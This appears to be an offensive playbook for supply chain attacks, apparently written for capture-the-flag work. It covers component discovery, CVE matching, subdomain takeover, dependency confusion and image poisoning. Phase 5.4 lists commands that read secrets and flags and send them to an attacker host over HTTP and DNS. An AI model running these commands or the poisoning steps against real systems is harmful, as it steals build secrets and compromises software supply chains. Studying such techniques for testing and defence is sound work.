Supply chain attacks do not require breaking through the target's code—they only require that some component the target depends on has a vulnerability or has been poisoned.
⛔ In-Depth References (Required Reading)
- Subdomain takeover, CDN/SRI security, third-party script risks, retired components, risk assessment matrix → references/supply-chain-deep.md
- Active Supply Chain Attacks: Dependency Confusion, image poisoning, CI/CD injection, build environment secret theft → references/supply-chain-attack.md
Phase 1: Component Discovery
Frontend JS Library Identification
katana -u http://target -silent -d 2
Extract from HTML/JS:<script src="...jquery-3.6.0.min.js"> → jQuery 3.6.0
Backend Technology Stack
curl -sI http://target | grep -i "Server\|X-Powered-By\|X-AspNet"
httpx -u http://target -tech-detect -silent
Response headers:X-Powered-By: Express | Server: Apache/2.4.41 | X-AspNet-Version
Subdomain → Third-Party Service Mapping
subfinder -d target.com -silent
ksubdomain -d target.com
Check CNAME:status.target.com → statuspage.io | docs.target.com → gitbook.io
Phase 2: Known Vulnerability Correlation
Component + Version → CVE Matching:
- jQuery < 3.5.0 → XSS | lodash < 4.17.21 → command injection
- Log4j 2.0-2.14.1 → RCE | Apache 2.4.49-2.4.50 → path traversal RCE
nuclei -u http://target -severity critical,high
Phase 3: Subdomain Takeover
CNAME points to a deregistered service → attacker registers it → controls subdomain content → Detection methods and list of takeover-able services → references/supply-chain-deep.md
Phase 4: CDN and External Resources
CDN references without SRI = if the CDN is compromised, you are compromised → Detailed assessment methods → references/supply-chain-deep.md
Phase 5: Active Supply Chain Attacks (Poisoning)
When the target runs a build system and uses private packages/image registries, poisoning can be used to obtain the flag/secret in the build environment.
5.1 Reconnaissance of the Build Environment
# 发现私有 Registry
curl -s http://registry:5000/v2/_catalog # Docker
curl -s http://nexus:8081/service/rest/v1/search # Nexus
curl -s http://verdaccio:4873/-/all | jq 'keys[]' # npm
# 从构建日志/配置提取内部包名
grep -r 'npm install\|pip install\|docker pull' /build/ /ci/
5.2 Dependency Confusion
Upload a package with the same name and a higher version to a public/writable Registry → the build system pulls the attacker's package → the install hook executes malicious code
5.3 Image Tag Overwrite
Push a malicious image with the same tag → the next build pulls the poisoned base image
5.4 Build Environment Flag Extraction
env | grep -i flag
find / -name "flag*" 2>/dev/null
cat /run/secrets/*
# 通过 HTTP/DNS 外传
curl http://attacker/exfil -d "$(cat /flag*)"
nslookup $(cat /flag* | base64 -w0).attacker.com
→ Complete attack steps and payload → references/supply-chain-attack.md
Notes
- The core iscompleteness—missing a single component may mean missing a critical risk
- Subdomain takeover is the direction most likely to produce results